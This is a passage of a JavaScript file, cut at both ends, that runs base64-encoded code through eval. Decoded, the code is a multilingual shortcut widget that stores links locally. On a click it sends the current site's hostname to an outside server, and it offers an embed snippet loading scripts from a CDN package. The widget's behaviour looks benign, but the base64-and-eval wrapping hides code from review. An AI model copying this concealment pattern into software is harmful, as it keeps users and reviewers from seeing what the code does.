hbmd1YWdlUGFuZWwuY29udGFpbnMoZS50YXJnZXQpICYmICFsYW5ndWFnZUJ0bi5jb250YWlucyhlLnRhcmdldCkpIHsgbGFuZ3VhZ2VQYW5lbC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9IGlmICh3aWRnZXRDb250YWluZXIuY29udGFpbnMoZS50YXJnZXQpKSB7IHJldHVybn0gaWYgKHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuY29udGFpbnMoJ2hpZGRlbicpKSB7IHNldFRpbWVvdXQoKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7IGNsZWFyVGltZW91dChoaWRlVGltZW91dCk7IGhpZGVUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCdoaWRkZW4nKX0sIDYwMDApfSwgNTApfSB9KTsNCiAgICAgICAgbGlzdENvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdzY3JvbGwnLCB1cGRhdGVTY3JvbGxJbmRpY2F0b3IpOw0KICAgICAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgY2hlY2tTY3JvbGxhYmlsaXR5KTsNCiAgICAgICAgc2VhcmNoVHJpZ2dlci5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIG9wZW5TZWFyY2gpOw0KICAgICAgICBsYW5ndWFnZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGxhbmd1YWdlUGFuZWwuY2xhc3NMaXN0LnRvZ2dsZSgndmlzaWJsZScpfSk7DQoNCiAgICAgICAgDQogICAgICAgIHNlYXJjaElucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBjbGVhclRpbWVvdXQoc2VhcmNoVGltZW91dCk7DQogICAgICAgICAgICBjb25zdCBxdWVyeSA9IHRoaXMudmFsdWUudG9Mb3dlckNhc2UoKS50cmltKCk7DQogICAgICAgICAgICBzZWFyY2hUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7DQogICAgICAgICAgICAgICAgcGVyZm9ybVNlYXJjaChxdWVyeSk7DQogICAgICAgICAgICB9LCAzMDApOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIHNlYXJjaFJlc3VsdHNDb250YWluZXIuYWRkRXZlbnRMaXN0ZW5lcignc2Nyb2xsJywgKCkgPT4geyBjb25zdCBpc0F0Qm90dG9tID0gc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5zY3JvbGxUb3AgKyBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmNsaWVudEhlaWdodCA+PSBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLnNjcm9sbEhlaWdodCAtIDEwOyBpZiAoaXNBdEJvdHRvbSkgeyBhcHBlbmROZXh0UGFnZSgpfSB9KTsNCiAgICAgICAgc2VhcmNoQ2xvc2UuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBjbG9zZVNlYXJjaCk7DQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCAoZSkgPT4geyBpZiAoZS5rZXkgPT09ICdFc2NhcGUnICYmIHdpZGdldFdyYXBwZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdzZWFyY2gtbW9kZScpKSB7IGNsb3NlU2VhcmNoKCl9IH0pOw0KICAgICAgICANCiAgICAgICAgY29uc3QgYWRkQ3VycmVudFBhZ2VUb1dpZGdldCA9IGFzeW5jIChlKSA9PiB7DQogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBiYXNlVXJsID0gZ2V0UHJvY2Vzc2VkVXJsKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTsNCiAgICAgICAgICAgIGxldCBpY29uTmFtZSA9IGRvY3VtZW50LnRpdGxlIHx8IHQuY3VycmVudFBhZ2U7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9nZXRfdGl0bGUucGhwP3VybD0ke2VuY29kZVVSSUNvbXBvbmVudChiYXNlVXJsKX1gKTsNCiAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2Uub2spIHsgY29uc3QgZGF0YSA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsgaWYgKGRhdGEudGl0bGUpIHsgaWNvbk5hbWUgPSBkYXRhLnRpdGxlfSB9DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgeyBjb25zb2xlLmVycm9yKCdGYWlsZWQgdG8gZmV0Y2ggdGl0bGU6JywgZXJyb3IpfQ0KICAgICAgICAgICAgY29uc3QgbmV3SWNvbiA9IHsgbmFtZTogaWNvbk5hbWUsIHVybDogYmFzZVVybCB9Ow0KICAgICAgICAgICAgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICAgICAgY29uc3QgaXNBbHJlYWR5QWRkZWQgPSBzdG9yZWRJdGVtcy5zb21lKGl0ZW0gPT4gZ2V0UHJvY2Vzc2VkVXJsKGl0ZW0udXJsKSA9PT0gZ2V0UHJvY2Vzc2VkVXJsKG5ld0ljb24udXJsKSk7DQogICAgICAgICAgICBpZiAoIWlzQWxyZWFkeUFkZGVkKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0b3JlZEl0ZW1zLmxlbmd0aCA+PSAxMCkgeyBzdG9yZWRJdGVtcy5zaGlmdCgpfQ0KICAgICAgICAgICAgICAgIHN0b3JlZEl0ZW1zLnB1c2gobmV3SWNvbik7DQogICAgICAgICAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7DQogICAgICAgICAgICAgICAgdHJ5IHsgYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9yZWdpc3Rlcl9hcHAucGhwYCwgeyBtZXRob2Q6ICdQT1NUJywgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sIGJvZHk6IEpTT04uc3RyaW5naWZ5KG5ld0ljb24pIH0pfSBjYXRjaCAoZXJyb3IpIHsgY29uc29sZS5lcnJvcignREIg65Ox66GdL+qwseyLoCDsi6TtjKg6JywgZXJyb3IpfQ0KICAgICAgICAgICAgICAgIGluaXRpYWxSZW5kZXIoKTsNCiAgICAgICAgICAgICAgICBpZiAod2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuY29udGFpbnMoJ3NlYXJjaC1tb2RlJykpIHsgY2xvc2VTZWFyY2goKX0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hvd1RvYXN0KHQuYWxyZWFkeUFkZGVkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBjb3B5V2lkZ2V0U2NyaXB0ID0gKGUpID0+IHsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGNvbnN0IHRleHRUb0NvcHkgPSAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vdW5wa2cuY29tL0BwaG9zcGhvci1pY29ucy93ZWIiPjxcL3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19sZy5qcyI+PFwvc2NyaXB0PjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jc3MuY3NzIj48ZGl2IGlkPSJhcHAiPjxcL2Rpdj48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jZG5odG1sLmpzIj48XC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2Nkbi5qcyI+PFwvc2NyaXB0Pic7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBmYWxsYmFja0NvcHkgPSAoKSA9PiB7IGNvbnN0IHRleHRBcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTsgdGV4dEFyZWEudmFsdWUgPSB0ZXh0VG9Db3B5OyB0ZXh0QXJlYS5zdHlsZS5wb3NpdGlvbiA9ICJmaXhlZCI7IHRleHRBcmVhLnN0eWxlLnRvcCA9IDA7IHRleHRBcmVhLnN0eWxlLmxlZnQgPSAiLTk5OTlweCI7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dEFyZWEpOyB0ZXh0QXJlYS5mb2N1cygpOyB0ZXh0QXJlYS5zZWxlY3QoKTsgdHJ5IHsgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9IGNhdGNoIChlcnIpIHsgY29uc29sZS5lcnJvcignRmFsbGJhY2s6IE9vcHMsIHVuYWJsZSB0byBjb3B5JywgZXJyKX0gZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZCh0ZXh0QXJlYSl9Ow0KICAgICAgICAgICAgaWYgKG5hdmlnYXRvci5jbGlwYm9hcmQgJiYgd2luZG93LmlzU2VjdXJlQ29udGV4dCkgeyBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCh0ZXh0VG9Db3B5KS50aGVuKCgpID0+IHsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9KS5jYXRjaCgoKSA9PiB7IGZhbGxiYWNrQ29weSgpfSl9IGVsc2UgeyBmYWxsYmFja0NvcHkoKX0NCiAgICAgICAgfTsNCg0KICAgICAgICBhZGRUb0hvbWVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhZGRDdXJyZW50UGFnZVRvV2lkZ2V0KTsNCiAgICAgICAgc2VhcmNoQWRkQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY29weVdpZGdldFNjcmlwdCk7DQogICAgICAgIA0KICAgICAgICBzaG9ydGN1dE1hbmFnZXIuc3luY0Zyb21VUkwoKTsNCiAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICANCiAgICAgICAgcG9wdWxhdGVMYW5ndWFnZVBhbmVsKCk7DQogICAgICAgIGFwcGx5TGFuZ3VhZ2UoY3VycmVudExhbmcpOw0KICAgIH0pOw=='))));
|
|
6
|
+
eval(decodeURIComponent(escape(window.atob('ICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsNCiAgICAgICAgaWYgKHdpbmRvdy5GSExXaWRnZXRJbml0aWFsaXplZCkgcmV0dXJuOw0KICAgICAgICB3aW5kb3cuRkhMV2lkZ2V0SW5pdGlhbGl6ZWQgPSB0cnVlOw0KDQogICAgICAgIGNvbnN0IGxhbmd1YWdlcyA9IFsgeyBjb2RlOiAnZW4nLCBuYW1lOiAnRW5nbGlzaCcgfSwgeyBjb2RlOiAna28nLCBuYW1lOiAn7ZWc6rWt7Ja0JyB9LCB7IGNvZGU6ICdlcycsIG5hbWU6ICdFc3Bhw7FvbCcgfSwgeyBjb2RlOiAnaGknLCBuYW1lOiAn4KS54KS/4KSo4KWN4KSm4KWAJyB9LCB7IGNvZGU6ICdhcicsIG5hbWU6ICfYp9mE2LnYsdio2YrYqScgfSwgeyBjb2RlOiAnZGUnLCBuYW1lOiAnRGV1dHNjaCcgfSwgeyBjb2RlOiAnZnInLCBuYW1lOiAnRnJhbsOnYWlzJyB9LCB7IGNvZGU6ICdwdCcsIG5hbWU6ICdQb3J0dWd1w6pzJyB9LCB7IGNvZGU6ICdibicsIG5hbWU6ICfgpqzgpr7gpoLgprLgpr4nIH0sIHsgY29kZTogJ2phJywgbmFtZTogJ+aXpeacrOiqnicgfSwgeyBjb2RlOiAncnUnLCBuYW1lOiAn0KDRg9GB0YHQutC40LknIH0sIHsgY29kZTogJ3poJywgbmFtZTogJ+eugOS9k+S4reaWhycgfSwgeyBjb2RlOiAndGgnLCBuYW1lOiAn4LmE4LiX4LiiJyB9LCB7IGNvZGU6ICd2aScsIG5hbWU6ICdUaeG6v25nIFZp4buHdCcgfSwgeyBjb2RlOiAnaWQnLCBuYW1lOiAnSW5kb25lc2lhJyB9LCB7IGNvZGU6ICd0cicsIG5hbWU6ICdUw7xya8OnZScgfSwgeyBjb2RlOiAndXInLCBuYW1lOiAn2KfYsdiv2YgnIH1dOw0KICAgICAgICBsZXQgY3VycmVudERpc3BsYXlJdGVtcyA9IFtdOyANCiAgICAgICAgbGV0IGN1cnJlbnRQYWdlID0gMTsgDQogICAgICAgIGNvbnN0IElURU1TX1BFUl9QQUdFID0gMzI7DQogICAgICAgIGxldCBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOyANCiAgICAgICAgbGV0IHNlYXJjaFRpbWVvdXQgPSBudWxsOw0KDQogICAgICAgIGNvbnN0IHdpZGdldENvbnRhaW5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtd2lkZ2V0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCB3aWRnZXRXcmFwcGVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC13aWRnZXQtd3JhcHBlcicpOw0KICAgICAgICBjb25zdCBsaXN0Q29udGFpbmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1saXN0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCBzZWFyY2hJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtc2VhcmNoLWlucHV0Jyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFJlc3VsdHNDb250YWluZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC1yZXN1bHRzJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFRyaWdnZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC10cmlnZ2VyJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaENsb3NlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtY2xvc2UnKTsNCiAgICAgICAgY29uc3QgaW5kaWNhdG9yVHJhY2sgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWluZGljYXRvci10cmFjaycpOw0KICAgICAgICBjb25zdCBzY3JvbGxJbmRpY2F0b3IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNjcm9sbC1pbmRpY2F0b3InKTsNCiAgICAgICAgY29uc3QgYWRkVG9Ib21lQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1hZGQtdG8taG9tZS1idG4nKTsNCiAgICAgICAgY29uc3Qgc2VhcmNoQWRkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtYWRkLWJ0bicpOw0KICAgICAgICBjb25zdCB0b2FzdEVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXRvYXN0LW5vdGlmaWNhdGlvbicpOw0KICAgICAgICBjb25zdCBsYW5ndWFnZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtbGFuZ3VhZ2UtYnRuJyk7DQogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFuZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWxhbmd1YWdlLXBhbmVsJyk7DQogICAgICAgIGNvbnN0IGZpeGVkUXVlc3Rpb25CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLXF1ZXN0aW9uJyk7DQogICAgICAgIGNvbnN0IGZpeGVkQ2hhdEJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZml4ZWQtY2hhdCcpOw0KICAgICAgICBjb25zdCBmaXhlZEluZm9CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLWluZm8nKTsNCiAgICAgICAgDQogICAgICAgIGxldCB0b2FzdFRpbWVvdXQgPSBudWxsOw0KCQljb25zdCBicm93c2VyTGFuZyA9IG5hdmlnYXRvci5sYW5ndWFnZS5zdWJzdHJpbmcoMCwgMik7DQoJCWxldCBjdXJyZW50TGFuZyA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmaGwtd2lkZ2V0LWxhbmcnKSB8fCBicm93c2VyTGFuZyB8fCAnZW4nOw0KICAgICAgICBjb25zdCBBUElfQkFTRV9VUkwgPSAnaHR0cHM6Ly9pc2FpLmtyJzsNCg0KCQljb25zdCBzaG9ydGN1dE1hbmFnZXIgPSB7DQoJCQlrZXk6ICdmaGwtY3VzdG9tLWljb25zLXdpdGgtZXhwaXJ5JywNCgkJCWdldDogKCkgPT4gew0KCQkJCWNvbnN0IHJhd0RhdGEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCgkJCQlpZiAoIXJhd0RhdGEpIHJldHVybiBbXTsNCgkJCQl0cnkgew0KCQkJCQljb25zdCBkYXRhID0gSlNPTi5wYXJzZShyYXdEYXRhKTsNCgkJCQkJcmV0dXJuIEFycmF5LmlzQXJyYXkoZGF0YS5zaG9ydGN1dHMpID8gZGF0YS5zaG9ydGN1dHMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAmJiBpdGVtLm5hbWUgJiYgaXRlbS51cmwpIDogW107DQoJCQkJfSBjYXRjaCAoZSkgew0KCQkJCQlsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCgkJCQkJcmV0dXJuIFtdOw0KCQkJCX0NCgkJCX0sDQoJCQlzZXQ6IChzaG9ydGN1dHMpID0+IHsNCgkJCQljb25zdCBkYXRhVG9TdG9yZSA9IHsgdGltZXN0YW1wOiBEYXRlLm5vdygpLCBzaG9ydGN1dHM6IHNob3J0Y3V0cyB9Ow0KCQkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXksIEpTT04uc3RyaW5naWZ5KGRhdGFUb1N0b3JlKSk7DQoJCQl9LA0KCQkJc3luY0Zyb21VUkw6ICgpID0+IHsNCgkJCQljb25zdCBwYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOw0KCQkJCWNvbnN0IHNob3J0Y3V0c1BhcmFtID0gcGFyYW1zLmdldCgnc2hvcnRjdXRzJyk7DQoJCQkJaWYgKHNob3J0Y3V0c1BhcmFtKSB7DQoJCQkJCXRyeSB7DQoJCQkJCQljb25zdCBkZWNvZGVkVXJsRGF0YSA9IGRlY29kZVVSSUNvbXBvbmVudChzaG9ydGN1dHNQYXJhbSk7DQoJCQkJCQljb25zdCB1cmxEYXRhID0gSlNPTi5wYXJzZShkZWNvZGVkVXJsRGF0YSk7DQoJCQkJCQljb25zdCByYXdMb2NhbERhdGEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCgkJCQkJCWxldCBsb2NhbERhdGEgPSBudWxsOw0KCQkJCQkJDQoJCQkJCQlpZiAocmF3TG9jYWxEYXRhKSB7DQoJCQkJCQkJdHJ5IHsgbG9jYWxEYXRhID0gSlNPTi5wYXJzZShyYXdMb2NhbERhdGEpOyB9IGNhdGNoIChlKSB7IGxvY2FsRGF0YSA9IG51bGw7IH0NCgkJCQkJCX0NCg0KCQkJCQkJaWYgKHVybERhdGEuc2hvcnRjdXRzICYmIHVybERhdGEuc2hvcnRjdXRzLmxlbmd0aCA9PT0gMCkgew0KCQkJCQkJCXJldHVybjsgDQoJCQkJCQl9DQoNCgkJCQkJCWlmICghbG9jYWxEYXRhIHx8ICh1cmxEYXRhLnRpbWVzdGFtcCA+IGxvY2FsRGF0YS50aW1lc3RhbXApKSB7DQoJCQkJCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSwgSlNPTi5zdHJpbmdpZnkodXJsRGF0YSkpOw0KCQkJCQkJfQ0KCQkJCQl9IGNhdGNoIChlKSB7fQ0KCQkJCX0NCgkJCX0sDQoJCQlnZXRBc1BhcmFtOiAoKSA9PiB7DQoJCQkJY29uc3QgcmF3RGF0YSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXkpOw0KCQkJCWlmICghcmF3RGF0YSkgcmV0dXJuICcnOw0KCQkJCXRyeSB7DQoJCQkJCWNvbnN0IGRhdGEgPSBKU09OLnBhcnNlKHJhd0RhdGEpOw0KCQkJCQlpZiAoIWRhdGEuc2hvcnRjdXRzIHx8IGRhdGEuc2hvcnRjdXRzLmxlbmd0aCA9PT0gMCkgew0KCQkJCQkJcmV0dXJuICcnOyANCgkJCQkJfQ0KCQkJCX0gY2F0Y2ggKGUpIHsgcmV0dXJuICcnOyB9DQoJCQkJcmV0dXJuIGBzaG9ydGN1dHM9JHtlbmNvZGVVUklDb21wb25lbnQocmF3RGF0YSl9YDsNCgkJCX0NCgkJfTsNCg0KICAgICAgICANCiAgICAgICAgY29uc3QgdXBkYXRlQWxsV2lkZ2V0TGlua3MgPSAoKSA9PiB7DQogICAgICAgICAgICBjb25zdCBwYXJhbVN0cmluZyA9IHNob3J0Y3V0TWFuYWdlci5nZXRBc1BhcmFtKCk7DQogICAgICAgICAgICBpZiAoIXBhcmFtU3RyaW5nKSByZXR1cm47DQogICAgICAgICAgICBjb25zdCBhbGxMaW5rcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJyNmaGwtd2lkZ2V0LWNvbnRhaW5lciAuZmhsLWljb24tZGlzcGxheSwgI2ZobC13aWRnZXQtY29udGFpbmVyIC5maGwtZml4ZWQtaXRlbScpOw0KICAgICAgICAgICAgYWxsTGlua3MuZm9yRWFjaChsaW5rID0+IHsNCiAgICAgICAgICAgICAgICBpZiAobGluay50YWdOYW1lID09PSAnQScpIHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3Qgb3JpZ2luYWxIcmVmID0gbGluay5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFvcmlnaW5hbEhyZWYgfHwgb3JpZ2luYWxIcmVmLnN0YXJ0c1dpdGgoJyMnKSkgcmV0dXJuOw0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbGV0IG5ld1VybCA9IG5ldyBVUkwob3JpZ2luYWxIcmVmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IFtrZXksIHZhbHVlXSA9IHBhcmFtU3RyaW5nLnNwbGl0KCc9Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICBuZXdVcmwuc2VhcmNoUGFyYW1zLnNldChrZXksIHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IG5ld1VybC50b1N0cmluZygpOw0KCQkJCQkJbGluay5yZWwgPSAnbm9mb2xsb3cnOyANCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgeyBjb25zb2xlLmVycm9yKCdJbnZhbGlkIFVSTCBmb3IgbGluayB1cGRhdGU6Jywgb3JpZ2luYWxIcmVmKX0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBzaG93VG9hc3QgPSAobWVzc2FnZSkgPT4geyBjbGVhclRpbWVvdXQodG9hc3RUaW1lb3V0KTsgdG9hc3RFbGVtZW50LnRleHRDb250ZW50ID0gbWVzc2FnZTsgdG9hc3RFbGVtZW50LmNsYXNzTGlzdC5hZGQoJ3Zpc2libGUnKTsgdG9hc3RUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7IHRvYXN0RWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9LCAyNTAwKX07DQogICAgICAgIA0KICAgICAgICBjb25zdCBhcHBseUxhbmd1YWdlID0gKGxhbmdDb2RlKSA9PiB7DQogICAgICAgICAgICBpZiAodHlwZW9mIHRyYW5zbGF0aW9ucyA9PT0gJ3VuZGVmaW5lZCcpIHsgY29uc29sZS5lcnJvcigiVHJhbnNsYXRpb25zIG5vdCBsb2FkZWQhIE1ha2Ugc3VyZSBsYW5nLmpzIGlzIGluY2x1ZGVkIGNvcnJlY3RseS4iKTsgcmV0dXJufQ0KICAgICAgICAgICAgY29uc3QgdCA9IHRyYW5zbGF0aW9uc1tsYW5nQ29kZV0gfHwgdHJhbnNsYXRpb25zWydlbiddOw0KICAgICAgICAgICAgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmxhbmcgPSBsYW5nQ29kZTsNCiAgICAgICAgICAgIHNlYXJjaFRyaWdnZXIuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5vcGVuU2VhcmNoKTsNCiAgICAgICAgICAgIGFkZFRvSG9tZUJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmFkZFRvV2lkZ2V0KTsNCiAgICAgICAgICAgIHNlYXJjaENsb3NlLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuY2xvc2VTZWFyY2gpOw0KICAgICAgICAgICAgbGFuZ3VhZ2VCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jaGFuZ2VMYW5ndWFnZSk7DQogICAgICAgICAgICBzZWFyY2hBZGRCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgJ0NvcHkgV2lkZ2V0IENvZGUnKTsgDQogICAgICAgICAgICBmaXhlZFF1ZXN0aW9uQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQucXVlc3Rpb24pOw0KICAgICAgICAgICAgZml4ZWRDaGF0QnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuY2hhcmFjdGVyQ2hhdCk7DQogICAgICAgICAgICBmaXhlZEluZm9CdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5pbmZvKTsNCiAgICAgICAgICAgIGluaXRpYWxSZW5kZXIoKTsNCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBwb3B1bGF0ZUxhbmd1YWdlUGFuZWwgPSAoKSA9PiB7IGxhbmd1YWdlUGFuZWwuaW5uZXJIVE1MID0gJyc7IGxhbmd1YWdlcy5mb3JFYWNoKGxhbmcgPT4geyBjb25zdCBsYW5nSXRlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsgbGFuZ0l0ZW0uaHJlZiA9ICcjJzsgbGFuZ0l0ZW0uY2xhc3NOYW1lID0gJ2ZobC1sYW5ndWFnZS1pdGVtJzsgbGFuZ0l0ZW0udGV4dENvbnRlbnQgPSBsYW5nLm5hbWU7IGxhbmdJdGVtLmRhdGFzZXQubGFuZyA9IGxhbmcuY29kZTsgbGFuZ0l0ZW0uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZSkgPT4geyBlLnByZXZlbnREZWZhdWx0KCk7IGUuc3RvcFByb3BhZ2F0aW9uKCk7IGNvbnN0IG5ld0xhbmcgPSBlLnRhcmdldC5kYXRhc2V0Lmxhbmc7IGlmIChuZXdMYW5nICE9PSBjdXJyZW50TGFuZykgeyBjdXJyZW50TGFuZyA9IG5ld0xhbmc7IGxvY2FsU3RvcmFnZS5zZXRJdGVtKCdmaGwtd2lkZ2V0LWxhbmcnLCBjdXJyZW50TGFuZyk7IGFwcGx5TGFuZ3VhZ2UoY3VycmVudExhbmcpfSBsYW5ndWFnZVBhbmVsLmNsYXNzTGlzdC5yZW1vdmUoJ3Zpc2libGUnKX0pOyBsYW5ndWFnZVBhbmVsLmFwcGVuZENoaWxkKGxhbmdJdGVtKX0pfTsNCg0KICAgICAgICBjb25zdCBnZXRQcm9jZXNzZWRVcmwgPSAoZnVsbFVybCkgPT4geyB0cnkgeyBjb25zdCB1cmxPYmogPSBuZXcgVVJMKGZ1bGxVcmwpOyByZXR1cm4gYCR7dXJsT2JqLnByb3RvY29sfS8vJHt1cmxPYmouaG9zdG5hbWV9YH0gY2F0Y2ggKGUpIHsgcmV0dXJuIGZ1bGxVcmx9IH07DQogICAgICAgIA0KICAgICAgICBjb25zdCBjcmVhdGVJY29uSX